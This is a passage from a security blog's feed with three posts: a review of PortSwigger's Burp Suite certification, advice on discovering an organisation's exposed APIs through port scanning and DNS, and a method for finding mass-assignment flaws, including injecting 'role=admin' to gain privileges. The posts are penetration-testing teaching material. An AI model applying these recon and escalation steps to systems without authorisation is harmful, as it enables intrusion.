        <category term="training"/>
    </entry>
    <entry>
        <title>Review: Burp Suite Certified Practitioner</title>
        <id>https://www.lanmaster53.com/blog/2021/11/15/burp-suite-certified-practitioner-review/</id>
        <link href="https://www.lanmaster53.com/blog/2021/11/15/burp-suite-certified-practitioner-review/"/>
        <published>2021-11-15T00:00:00Z</published>
        <updated>2021-11-15T00:00:00Z</updated>
        <summary>Portswigger recently announced their Burp Suite Certified Practitioner certification. As a Burp Suite enthusiast and self-proclaimed subject matter expert, I…</summary>
        <content type="html">&lt;p&gt;Portswigger recently announced their &lt;a href=&#34;https://portswigger.net/web-security/certification&#34;&gt;Burp Suite Certified Practitioner certification&lt;/a&gt;. As a Burp Suite enthusiast and self-proclaimed subject matter expert, I decided to exercise the certification preparation process as a way to sharpen my skills, provide insight to others on the preparation process, and ultimately decide whether or not I would give the certification exam an attempt myself. Below are my takeaways from the process and thoughts I want to share with others that are considering an attempt at becoming a Burp Suite Certified Practitioner.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;h3&gt;Disclaimer&lt;/h3&gt;
&lt;p&gt;This article does NOT include spoilers or a walk through of the practice exam. This article only includes facts observed and opinions formed by exercising the documented certification process. No one has in any way influenced the things I say here. I get no compensation from Portswigger or any of their competitors. I am a user and consumer just like everyone else reading this.&lt;/p&gt;
&lt;h3&gt;The Process&lt;/h3&gt;
&lt;p&gt;Portswigger documents the following &lt;a href=&#34;https://portswigger.net/web-security/certification&#34;&gt;process&lt;/a&gt; for becoming a Burp Suite Certified Practitioner:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Exam preparation&lt;/li&gt;
&lt;li&gt;Take our practice exam&lt;/li&gt;
&lt;li&gt;Purchase certification exam&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I found it funny that the process stopped at them getting paid as there was no 4th step or beyond to actually take the certification exam, receive a score, etc. Of course it is assumed. I just found it amusing.&lt;/p&gt;
&lt;p&gt;At a high level the process is fairly simple with the actual purchase and setup for the certification exam being the most complex given the nature of remote virtual proctoring. But this isn&#39;t about any of that, so the remainder of this article will focus on the first two steps of the process.&lt;/p&gt;
&lt;h3&gt;Exam Preparation&lt;/h3&gt;
&lt;p&gt;The certification exam preparation is really all about the &lt;a href=&#34;https://portswigger.net/web-security/dashboard&#34;&gt;Web Security Academy&lt;/a&gt;. If you&#39;ve taken one of my classes, then you&#39;ve heard me rave about this. On a technical level, this is the best web application security content you can find, and it&#39;s completely free. It sounds like I&#39;m giving you a reason not to take my classes doesn&#39;t it? Well, not quite. This training is designed around specific vulnerabilities. There is very little here in terms of process, mindset, and tooling. You&#39;ll learn a lot about specific vulnerabilities, but you&#39;ll have no idea how to actually approach an application. That&#39;s the gap I try to fill with my classes. I don&#39;t just want my students to have more knowledge. I want my students to know how to practically apply the knowledge. Regardless, the Web Security Academy is really good stuff. If you&#39;re a practitioner in the field, you should review all of this content, even if you have no intention on attempting the certification.&lt;/p&gt;
&lt;p&gt;Portswigger recommends that you be comfortable with ALL Practitioner level labs before moving forward with the certification process. I&#39;d say this is accurate based on my experience. Review the content for each vulnerability and do the labs. Try to do the labs WITHOUT looking at the solution first, and only use the solution if you are completely lost. If you have to use the solution, that&#39;s an indicator that you aren&#39;t ready to move forward, or the lab is broken (more on this in a bit). I&#39;ll be honest, I learned a lot here. The depth in which Portswigger goes with this stuff is kinda nuts. While not all of it is Practitioner level, there was some stuff rated at the Practitioner level that caught me by surprise due to it&#39;s difficulty level. This coming from someone that has been writing code for almost 30 years and doing application security for roughly a decade.&lt;/p&gt;
&lt;h3&gt;Academy Labs&lt;/h3&gt;
&lt;p&gt;While the academy labs are great, they are not without issue. One of the things I encountered on several occasions with the labs was that the solution was not about having a right answer, but having Portswigger&#39;s answer, which was unrealistic. There were several labs where I know I had a payload that should have worked and could confirm it, but because it wasn&#39;t what the lab was built to detect, it failed to solve. This is dangerous for less experienced learners because it teaches them that it has to be done one way, when in reality the labs should be able to be solved in many ways. It also stunts creativity.&lt;/p&gt;
&lt;p&gt;There were other labs that were just broken. I had originally put them in the above category of labs thinking I just had the wrong solution, but after becoming desperate to solve, I went to the solution for the answer. In many cases the solution was exactly what I was trying to do, but even when it wasn&#39;t, the provided solution didn&#39;t work either. It was just broken. In other cases the target didn&#39;t even present the resource that the solution exploited. The solution would magically include the resource, but the resource was not available in the lab itself. In these cases, even the community solutions jumped right over this detail with the presenter copying and pasting the URL from somewhere without ever explaining how they figured that out (probably because they didn&#39;t). Luckily, these issues were not that common, so it didn&#39;t greatly impact the preparation process. All of this caused me to lose confidence and lower my expectations for the practice exam. However, none of these issues appeared to bleed over into the practice exam.&lt;/p&gt;
&lt;p&gt;Lastly, if there is an &#34;Exploit server&#34; button at the top of the page, USE IT! It is a visual indicator that you will need to do something with it to complete the lab. I blew a bunch of time trying to figure out how to deliver an exploit payload to an automated third party only to realize that there was another button added to the lab banner that did exactly that. Also note that within the Exploit server is the ability to check email and view the web server log. These features can be useful, so don&#39;t miss them.&lt;/p&gt;
&lt;h3&gt;Practice Exam&lt;/h3&gt;
&lt;p&gt;The practice exam is pretty straight forward. You click the button to start, it fires up a remote environment, then you click the link to begin the assessment. There&#39;s not a lot of information here, so if you jump right in like I did, then you&#39;ll be wondering what to do next. Therefore, make absolutely sure you review the &lt;a href=&#34;https://portswigger.net/web-security/certification/how-it-works&#34;&gt;How it works&lt;/a&gt; page prior to doing the practice exam. There are things about the practice exam that you need to know, and this is where that information is. I found this to be a difficult page to find as a reference, so keep the link handy. You&#39;ll need it.&lt;/p&gt;
&lt;p&gt;On the practice exam launch page where the link to the target application is, there will be a box that says &#34;App 1&#34; and &#34;0/3&#34; for challenges complete. The challenges part is described on the &#34;How it works&#34; page, but the &#34;App 1&#34; part leads you to believe that there is more than one application. There is NOT. The practice exam consists of only a single application. I reached out to Portswigger on Twitter about this to confirm and also asked how this compares to the certification exam. The certification exam will have two applications, with each application having three stages like the practice exam. This also explains why you get twice as much time (3 hours) on the certification exam as you do with the practice exam (1.5 hours).&lt;/p&gt;
&lt;p&gt;You can take the practice exam as many times as you want, and that&#39;s a good thing, because you won&#39;t get it done on your first try. One thing to keep in mind as you do this though is that the practice exam changes subtle things every time, like page names and parameter names. This means that if you solve the first challenge and run out of time, you&#39;ll want to quickly solve that one and jump straight to the second challenge on your next attempt. While the functionality and vulnerabilities don&#39;t change, you&#39;ll need to update your payloads on subsequent attempts. They cannot be scripted because of this, but it really isn&#39;t that time consuming once you know the solution.&lt;/p&gt;
&lt;h3&gt;Content Relevancy&lt;/h3&gt;
&lt;p&gt;At first I didn&#39;t think the title fit the certification, but as I began reflecting on the process and what I experienced in the labs and the practice exam, I&#39;d have to say it fits okay. It definitely focuses heavily on vulnerabilities, but it also presents situations where Burp Suite Pro&#39;s functionality is invaluable for saving time and effort. So I wouldn&#39;t say it certifies anyone as a proficient user of Burp Suite Pro, but more of a certification that meets a set of requirements established by Portswigger, the creator of Burp Suite Pro. It is a penetration testing practitioner&#39;s certification. To be a Burp Suite Pro expert goes well beyond anything that is required here.&lt;/p&gt;
&lt;p&gt;While the labs and practice exam did include some content relevant to client-side rendered applications, the content heavily focused on server-side rendered architectural design pattern issues, which is not representative of the modern application landscape. Keep in mind that this is exactly the same issue that Burp Suite Pro suffers from, so it is not surprising that the certification does as well. It wouldn&#39;t do Portswigger much good to produce a certification exam that Burp Suite Pro is useless to complete. I imagine as Burp Suite Pro modernizes, so will the certification content.&lt;/p&gt;
&lt;h3&gt;Difficulty&lt;/h3&gt;
&lt;p&gt;The practice exam is not necessarily hard. In fact, I&#39;d say the practice exam does a very good job of representing the challenges one would face when penetration testing a real application. For example, you can expect Burp Scanner to find some things, but it&#39;s not going to find everything, and what it does find may or may not be useful. However, the practice exam became unnecessarily difficult on two fronts: one of which is related to a personal skills gap, and the other which is due to an unrealistic restriction.&lt;/p&gt;
&lt;h4&gt;Focus&lt;/h4&gt;
&lt;p&gt;The first way the practice exam is difficult is the emphasis it puts on exploitation. The practice exam leans VERY heavily on exploitation. However, in the real world, EVERY assessment requires discovery, while only penetration tests require exploitation at the level the practice exam requires. So those of us that make careers out of finding every bug and not just the ones that get us deeper into the application will find this approach more difficult. In my line of work, exploitation is a way to demonstrate risk, but rarely is it in scope for me to exploit to the level of post exploitation that the practice exam requires. Frankly, my clients want me spending time finding more bugs, not exploiting them. Further more, exploiting other users is literally NEVER in scope for me, and is absolutely required for the practice exam. So as an experienced &#34;practitioner&#34;, I am at a great disadvantage here, because I don&#39;t actually &#34;practice&#34; what this certification assesses. Perhaps that&#39;s an indicator that this certification is intended is for a niche audience that doesn&#39;t include those that do the kind of work I do.&lt;/p&gt;
&lt;h4&gt;Timing&lt;/h4&gt;
&lt;p&gt;The second way the practice exam is difficult is the timing. With the need to set up 3rd party tools for one-off scenarios (as you would do in a normal assessment) and general trial and error as you try to resolve false positives and detect false negatives, there is simply not enough time. My issue with this is much of the time spent conducting these activities has little to do with what is being assessed. They just take time.&lt;/p&gt;
&lt;p&gt;Portswigger says, &#34;You are welcome to use third party automated tools to solve the exam, but you will often find manual exploitation is faster.&#34; While technically you don&#39;t need third party tools, it&#39;s simply not true for the majority of practitioners that manual exploitation is often faster. It isn&#39;t true in real life, and it certainly isn&#39;t in the practice exam. I won&#39;t give specifics, but there were two challenges in the practice exam that would have taken hours alone to figure out and solve without proper tooling. Proper tooling is critical for proficient practitioners, and Burp Suite Pro is not the only tool that should be a proficient practitioners kit. Portswigger validates this themselves by including several third party tools in their labs. The problem here is Portswigger encourages you to not use these tools, when they should be encouraging you to use these tools, and giving you the necessary context in which to use them. The bottom line is that third party tools are necessary and bring their own significant challenges regarding time.&lt;/p&gt;
&lt;p&gt;Both of the challenges mentioned above required figuring out which tool to use and how to configure it for the context of the challenge e.g. WAF bypasses, specific encodings, custom insertion points, remote system state, etc. Knowing when something needs to be done to solve a challenge is only half the battle. Actually getting the right tooling to do it and configuring it properly is another. One of the challenges not only required a third party tool, but required it to be running in a specific environment in order for its output to work properly to solve the challenge. This happened to be a tool that was recommended and used to complete a related lab, so it&#39;s not like I was doing anything outside of Portswigger&#39;s expectations. No where in the lab or certification documentation did it say anything about the environment the tool needed to be run in in order to create the desired output. It could only be found through trial and error. I spent hours trying to figure out why creating the payload on my host system wasn&#39;t working and I could have easily walked away from the false negative. However, building the payload on a different system worked perfectly. Both systems are fully supported by the tool. Again, while not unrealistic in practice, it is unrealistic in a 1.5 hour time window with two other challenges needing to be solved as well. To solve this challenge without the tool would have taken much longer because it required learning how to develop in a stack that I&#39;m not familiar with, and in a specific environment that I knew nothing about. This is why Portswigger recommends using the tool in their associated lab in the first place.&lt;/p&gt;
&lt;p&gt;I get that resolving false positives and detecting false negatives is a part of being a practitioner, but with the tight window they are giving you, it isn&#39;t realistic. And theoretically, if you can demonstrate proficiency by solving the issue, then haven&#39;t you demonstrated that you could use that same skill to reduce false positives? Resolving false positives is an unnecessary distraction in a strictly timed exam. I&#39;m not against having to reduce false positives in an exam, but not with a time window as strict as the one provided by Portswigger.&lt;/p&gt;
&lt;p&gt;When we test in a time boxed environment, information is often given in exchange for time. Portswigger can fix the timing issue by providing more time, documenting which 3rd party tools to use and the proper context, and by building the application in such a way that it doesn&#39;t mislead the tester with false positives. It took me five attempts at 1.5 hours per attempt to complete the practice application. That is 7.5 hours to complete a single application with three exploit paths. Granted, I was doing this at times when there ware plenty of distractions, but the bottom line is that three hours for the certification exam is not even remotely close to enough time to complete twice as many challenges (two applications with three exploit paths each for a total of six) if they are anything like the practice exam.&lt;/p&gt;
&lt;p&gt;I realize the claim could be made that I am simply not a proficient practitioner because I am unable to do it in time allotted by Portswigger. While that may be true, I would argue that the expectations are perhaps a bit too high for a practitioner certification. Considering the exam was developed by James Kettles and his team, some of the brightest minds in the industry, there is a decent chance that they overestimated the average practitioner proficiency. Not from a difficulty perspective, but strictly from a timing perspective. I believe I know many qualified individuals in the industry that could complete the practice exam, but not many in the time frame allotted. That speaks volumes and creates an artificial barrier that exists only because of time, not ability.&lt;/p&gt;
&lt;h3&gt;Third Party Tools&lt;/h3&gt;
&lt;p&gt;In addition to the stuff said above, I also consider extensions to be third party tools, even though they are tightly integrated with Burp Suite Pro. And yes, extensions were helpful in some cases with the practice exam.&lt;/p&gt;
&lt;p&gt;Concerning third party tools in general, there&#39;s a lot to choose from and they often change outside the scope of Portswigger&#39;s upgrade cycle, so it seems like a bad idea to lean on third party tools for an exam solution. This is likely why Portswigger recommends manual exploitation in their documentation. However, it feels like a built in excuse for when things go wrong because in some cases the best solution for a proficient practitioner is clearly the third party tool. My best advice is that if an extension or third party tool isn&#39;t explicitly used within a lab, then I would not expect it to be a requirement. If a third party tool is explicitly used in a lab, then expect to use it. But even then, Portswigger may not give you enough information to prevent a significant time investment for troubleshooting the tool in the exam environment.&lt;/p&gt;
&lt;h2&gt;Shameless Plug&lt;/h2&gt;
&lt;p&gt;So how do &lt;a href=&#34;https://www.practisec.com/training/&#34;&gt;PractiSec training courses&lt;/a&gt; apply to the Burp Suite Certified Practitioner certification process? The Web Security Academy labs are the way to go to prepare for the vulnerabilities that you will encounter in the practice exam. While PWAPT covers a lot of the same vulnerabilities as the Web Security Academy labs, there is simply not enough time in the 24 hours allotted for PWAPT to cover down on the depth and breadth of vulnerability knowledge expected to pass the practice exam. PWAPT also focuses heavily on discovery and very little on exploitation, which is critical to passing the practice exam. However, from a vulnerability discovery perspective, PWAPT will give you a good launch point to begin diving into the labs.&lt;/p&gt;
&lt;p&gt;Where PWAPT will help tremendously is on the tooling and process side. The practice exam behaves like a no-knowledge test. You need to have a solid methodology in your approach to the application or you&#39;ll waste time shooting in the dark. You also need to know how to use Burp Suite Pro and maximize its capability. PWAPT is ALL ABOUT these two things (process and tooling). Combining PWAPT with the Web Security Academy labs should get you prepared for the practice exam. &lt;/p&gt;
&lt;p&gt;But what about PBAT? PBAT is built around advanced usage of Burp Suite Pro. I encountered nothing within the labs or the practice exam that required the advanced content included in PBAT. That is attributed mostly to the fact that much of PBAT serves to do is solve the very problem Burp Suite Pro has with client-side rendered applications. And since the certification doesn&#39;t focus on those areas, the things that PBAT teaches are not applicable here. You better believe they are applicable in real life though. PBAT is absolutely critical knowledge for any practitioner working with modern applications. The Burp Suite Certified Practitioner certification process does not prepare you for working with modern application architectures or prove that you are proficient in doing such. In fact, as an employer, this would be my main concern about the certification itself. Just how relevant is it to the environment that your people are operating in?&lt;/p&gt;
&lt;p&gt;One of the questions I received in recent days was when a boot camp training course for the Burp Suite Certified Practitioner certification would be available. I&#39;m certain that someone will jump at the money grab, but honestly, it&#39;s not feasible due to the scope of the content and the number of different things Portswigger could put in the certification exam. The course would have to cover all of the labs, and that alone could take a weeks to get through in a classroom environment. My recommendation for a boot camp would be taking PWAPT and following that up with all of the Web Security Academy content.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;So what am I going to do about this moving forward? I am leaning pretty hard in the direction of NOT taking the certification exam as it stands right now. If I do take the certification exam, it will be in order to share the experience and perhaps build some training content geared specifically toward certification prep, but definitely not because I feel like I can pass it. In fact, I am almost certain that I would fail the certification exam with the current time limitation. I personally believe that the certification exam is designed to be taken many times before passing. This is indicated by how the practice exam works, where you don&#39;t get enough time to realistically complete it, and can take it as many times as you want. I imagine Portswigger takes the same approach with the certification exam. Knowing it can rarely be done successfully on the first try, and will become easier each time someone takes it until they certify after X attempts at $99 per attempt. This could explain the pricing strategy, which is much lower than their competitors, and Portswigger makes sure you know that if you read their literature.&lt;/p&gt;
&lt;p&gt;In the end, I imagine I would end up spending about $500 (5 attempts) to get certified. That&#39;s how many attempts it took me to get through the practice exam. As much as I would like to hold this certification over any of the others I hold, I don&#39;t know that it&#39;s worth the $500 and 15 hours I anticipate it would take to complete it. Change my mind.&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="burp"/>
        <category term="training"/>
    </entry>
    <entry>
        <title>No-Knowledge API Discovery</title>
        <id>https://www.lanmaster53.com/blog/2021/06/14/no-knowledge-api-discovery/</id>
        <link href="https://www.lanmaster53.com/blog/2021/06/14/no-knowledge-api-discovery/"/>
        <published>2021-06-14T00:00:00Z</published>
        <updated>2021-06-14T00:00:00Z</updated>
        <summary>I recently received an email from a previous student asking a question about API discovery during a no-knowledge test. The question was, &#34;How can one discover…</summary>
        <content type="html">&lt;p&gt;I recently received an email from a previous student asking a question about API discovery during a no-knowledge test. The question was, &#34;How can one discover API&#39;s across an organization&#39;s external IP range when the API&#39;s are not linked like URLs and can&#39;t be crawled using traditional means?&#34; I thought my answer might be useful for others, so I&#39;m documenting it here.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;p&gt;The student&#39;s assumption was to use something like Dirbuster or Burp&#39;s Content Discovery Engagement Tool to brute force guess API endpoints. But like I&#39;m sure you&#39;re thinking right now, that&#39;s incredibly tedious and a poor use of time. While I can&#39;t say I&#39;ve ever been asked to do this, here&#39;s the approach I would take and the answer I provided to the student.&lt;/p&gt;
&lt;p&gt;Start by port scanning of all the available IP addresses and ports that are normally associated with HTTP (80, 8080, 8000, 443, 8443, etc.). Directly browse to each of the resulting services by IP address to determine whether they are dedicated servers or virtually hosted. Dedicated servers will provide access to the hosted application by the IP address alone, while virtually hosted servers will likely display a default web page for the IP address and require the proper &lt;code&gt;Host&lt;/code&gt; header to be provided in order to reach the virtually hosted application. Use this behavior to determine whether the server is a dedicated server or virtually hosted. A tool that might be useful here is one that will screen shot all of the IP addresses and ports and provide output that allows for quickly viewing all of the available interfaces to determine what they are. For example, &lt;a href=&#34;https://github.com/FortyNorthSecurity/EyeWitness&#34;&gt;EyeWitness&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For dedicated servers, the next action would depend on what the service provides. If it&#39;s a web application, move along unless it&#39;s some sort of browser interface for the API itself, which would be the ideal situation. This is actually quite common in modern applications. However, if it&#39;s obviously not a web application, and doesn&#39;t expose an API interface, then it&#39;s most likely an obfuscated service and the next step would be trying to guess the endpoints. Recon may be useful, but there&#39;s no easy way forward from here. Time to start brute forcing/guessing.&lt;/p&gt;
&lt;p&gt;For virtually hosted servers, reverse DNS lookups on the IP addresses with exposed HTTP services can expose DNS records and provide the proper host names for the virtually hosted applications or APIs. If the IP address exposes any services with a TLS certificate, looking at Subject Alternative Names (SAN) on the certificate may also reveal this information. If a virtually hosted server is successfully discovered, then treat it like a dedicated server (above) to determine what it is hosting.&lt;/p&gt;
&lt;p&gt;This about all I can think to do without some sort of inside information about the targets themselves. I hope this is helpful!&lt;/p&gt;</content>
        <category term="appsec"/>
        <category term="api"/>
    </entry>
    <entry>
        <title>Dynamic Discovery of Mass Assignment Vulnerabilities</title>
        <id>https://www.lanmaster53.com/blog/2019/06/14/dynamic-discovery-mass-assignment/</id>
        <link href="https://www.lanmaster53.com/blog/2019/06/14/dynamic-discovery-mass-assignment/"/>
        <published>2019-06-14T00:00:00Z</published>
        <updated>2019-06-14T00:00:00Z</updated>
        <summary>I love teaching for a lot of reasons. One of the reasons is because I learn so much when I teach. Sounds weird doesn&#39;t it? Why would the person teaching be…</summary>
        <content type="html">&lt;p&gt;I love teaching for a lot of reasons. One of the reasons is because I learn so much when I teach. Sounds weird doesn&#39;t it? Why would the person teaching be learning? Well, It&#39;s probably not what you think. Some of what I learn comes directly from the students, but a lot comes from debugging issues on the fly and some dumb-luck discovery when someone in the class accidentally clicks somewhere or mistypes something. Recently I was teaching a class, and a combination of these led to a pretty neat discovery that I want to share with the community.&lt;/p&gt;
&lt;!-- READMORE --&gt;

&lt;h3&gt;What is Mass Assignment?&lt;/h3&gt;
&lt;p&gt;There&#39;s this thing called Mass Assignment. It has other names, which I&#39;ll mention later, but for the purposes of this article, we&#39;ll call it Mass Assignment. It was originally discovered as an issue with Ruby on Rails active record. It exists where request parameters are bound directly to model objects that are ultimately used to create or update a record in a database. To understand what that actually means, let me back up a bit and explain a few things. In the Model View Controller (MVC) development architectural pattern (most common today), developers often use these things called Object Relational Mappers (ORM). Basically, an ORM abstracts (adds a layer of code) to database interaction so that instead of writing raw SQL queries that Create, Read, Update or Delete (CRUD) data in a table in a database, the developer interacts with objects that are instances of a model. This has many benefits. One being that instead of dynamically mixing user input with pre-built SQL queries, which often leads to SQL injection, user input is passed to the ORM, which safely handles it and prevents injection attacks. In order to make it easier to understand what exactly a model is, think of it as the table schema for a table in a database. It describes the columns (attributes) that make up the rows (objects) in a table (model).&lt;/p&gt;
&lt;p&gt;For example, let&#39;s say our table (model) applies this schema:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;+-----------------+
|      users      |
+-----------------+
| username | TEXT |
| password | TEXT |
| role     | TEXT |
+-----------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Using an ORM, instead of making a raw query to insert a record into the table like:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;INSERT INTO users (username, password, role) VALUES (&#39;lanmaster53&#39;, &#39;correcthorsebatterystaple&#39;, &#39;user&#39;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The developer can create a new instance of the model (row) and assign values to its attributes (columns) like:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;user = User()
user = user.username=&#39;lanmaster53&#39;
user = user.password=&#39;correcthorsebatterystaple&#39;
user = user.role=&#39;user&#39;
db.add(user)
db.commit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;or:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;user = User(username=&#39;lanmaster53&#39;, password=&#39;correcthorsebatterystaple&#39;, role=&#39;user&#39;)
db.add(user)
db.commit()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And a new row is made in the table with the provided attribute values in the corresponding column. All of these examples effectively do the same thing. Hopefully this makes sense, because this is where the issue exists. Let&#39;s move forward.&lt;/p&gt;
&lt;p&gt;The attributes in the above code blocks (username, password and role) could also be parameters in a request. Consider the following POST payload:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;username=lanmaster53&amp;amp;password=correcthorsebatterystaple&amp;amp;role=user
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In modern frameworks, a developer would access these values on the server from the request using something like &lt;code&gt;request.form&lt;/code&gt;, which is an array of the name-value pairs. What&#39;s also possible in modern frameworks, is the ability to pass an array to a function as is, while signaling to the system that the array should be expanded into name-value pairs and treated as parameters. For example, take the following block of code:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;def example(x, y, z):
    #do something with x, y, and z

array = {
    &#39;x&#39;: 1,
    &#39;y&#39;: 2,
    &#39;z&#39;: 3
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This function could be invoked like:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;example(x=array[x], y=array[y], z=array[z])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But it would be a heck of a lot easier to do something like:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;example(**array)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Which is shorthand for the previous example. Such a nice feature, right!? It exists pretty much everywhere.&lt;/p&gt;
&lt;p&gt;Now look back at our POST payload example above. Some of you may have already picked up on this, but what kind of application allows the user to control what role they get? Not a good one, right? Obviously it depends on the context, but this isn&#39;t something that should normally be done. So the POST payload would probably look more like:&lt;/p&gt;
&lt;div class=&#34;codehilite&#34;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;username=lanmaster53&amp;amp;password=correcthorsebatterystaple
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notice the lack of &lt;code&gt;role&lt;/code&gt; parameter. The developer is likely setting the &lt;code&gt;role&lt;/code&gt; attribute to &lt;code&gt;user&lt;/code&gt; on the server because that should be the default state of every new user. That&#39;s a good thing. As we already established, the role shouldn&#39;t be controlled by the user. But this is where it all comes together. What if the application is using the really nice feature from above (we&#39;ll call it Mass Assignment, Autobinding, or Object Injection)? Does it not become possible that we could guess the &lt;code&gt;role=admin&lt;/code&gt; parameter and value and pass that in with the rest of the payload to give ourselves a higher privilege role? Yes! And that&#39;s why this is a vulnerability.&lt;/p&gt;
&lt;h3&gt;Mass Assignment in Flask&lt;/h3&gt;
&lt;p&gt;Previously, it seems, this issue has only been widely discussed in the context of Ruby on Rails, NodeJS, Java Spring MVC, ASP.NET MVC and PHP. However, when incorporating this topic into &lt;a href=&#34;https://www.practisec.com/training/&#34;&gt;Practical Web Application Penetration Testing (PWAPT)&lt;/a&gt;, I found a realistic way to introduce and exploit the issue in Flask. What you have seen up to this point is Python code and is exactly how this issue manifests itself in a Flask application.&lt;/p&gt;
&lt;p&gt;I have not been able to find anywhere else on the Internet that includes Flask in the list of affected frameworks, so &lt;strong&gt;consider this a zero-day release of this information&lt;/strong&gt;. I have not mentioned this to the Flask community, and I don&#39;t consider this to be an irresponsible disclosure because there&#39;s nothing the framework should do about this. These are valid features of both the framework and the ORM (in this case Flask and SQLAlchemy), and developers need to know when, and when not, to use them. More on that in a bit.&lt;/p&gt;
&lt;h3&gt;Dynamic Discovery Methodology&lt;/h3&gt;
&lt;p&gt;After incorporating Mass Assignment into PWAPT, I approached it as something that wasn&#39;t really feasible to find dynamically due to the large number of possibilities (parameter names and value data types) and a lack of meaningful responses. Traditionally, servers just drop unrecognized parameters and don&#39;t behave any differently as a result. So I&#39;ve skipped over it when we were short on time, or glazed over it quickly with the reasoning that it required source code to find. But, remember all the way back up at the top of this article where I said I love to teach because I learn things? I recently had enough time to fully cover this issue with a class and a few of my students, Cal B. (@y0ucancallmecal) and Hitesh Khurana (@tesh_kh), fuzzed the vulnerable resource and noticed some things that I think will be universally applicable in finding Mass Assignment issues dynamically, perhaps even by a Dynamic Application Security Testing (DAST) solution (automated scanner).&lt;/p&gt;
&lt;p&gt;Ultimately, the simplest form of Mass Assignment stems from mapping request parameters directly to the creation of an internal object by passing the serialized parameters directly to the class declaration, as we saw above. Well, when the serialized parameters are passed to the ORM to create or update an object, the ORM expects specific attribute names and data types according to the model, just like a database table would. What my students uncovered was that by providing arbitrary parameters (attributes the ORM didn’t expect), and values of varying data types for known attributes, they could cause the server to return errors. It just so happens that those errors allowed for the discovery and enumeration of the parameter (attribute) name and value data type needed to exploit the issue, without access to the source code. Based on the students&#39; discovery and my understanding of what the application was saying through the errors it was returning, I came up with the following methodology for dynamic discovery of Mass Assignment.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Identify possible targets (requests that appear to impact an update or create operation on the server).&lt;/li&gt;
&lt;li&gt;Add arbitrary parameters to the existing parameters (body, query string, JSON, XML, whatever, but the two previous are the most likely candidates).&lt;/li&gt;
&lt;li&gt;If the server responds with an error related to an unknown attribute, argument, parameter, etc., then the parameter name is wrong.
    &lt;a href=&#34;/static/images/posts/2019-06-14-dynamic-discovery-mass-assignment/mass-assign-bad-param.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/2019-06-14-dynamic-discovery-mass-assignment/mass-assign-bad-param.png&#34; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Fuzz the parameter name until something changes. A successfully guessed parameter name will either work if the data type of the value is correct, or throw a second error related to a mismatched or unexpected data type.
    &lt;a href=&#34;/static/images/posts/2019-06-14-dynamic-discovery-mass-assignment/mass-assign-bad-type.png&#34;&gt;&lt;img alt=&#34;&#34; src=&#34;/static/images/posts/2019-06-14-dynamic-discovery-mass-assignment/mass-assign-bad-type.png&#34; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If the server responds with an error related to a mismatched or unexpected data type, fuzz the parameter value for different data types (integers, strings, etc.). The error may even state what is expected, like the image above.&lt;/li&gt;
&lt;li&gt;When the server stops responding with an error condition, the parameter name and value data type have been enumerated. Go forth and exploit.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Obviously, this assumes some sort of error response to varying input. Finding Mass Assignment without errors (blind) would take me back to my original line of thinking that it is infeasible because there is no way to confirm control over the operation until complete success. I’m still digging into blind discovery, but this is where I stand at the moment.&lt;/p&gt;
&lt;p&gt;If you&#39;re wondering how applicable this methodology is across other technology stacks, it has been tested on both Flask and Ruby on Rails, and in both instances, the errors returned by the application included messaging eluding to unrecognized attributes for attribute enumeration, and incorrect data type for value data type enumeration. This is very promising and I expect to see similar results most everywhere. Please share your discoveries.&lt;/p&gt;
&lt;p&gt;As far as scanners go, I see this being implemented as an injection check. All applications take the same kind of stuff: POST payloads, query strings, JSON or XML. Arbitrary parameters and varying data types are universal. Based on my knowledge of how ORMs work in general, this methodology should cause an exception in any implementation, and when it isn’t caught and handled by the developer, the scanner should be able to detect and report a potential issue using error-based analysis.&lt;/p&gt;
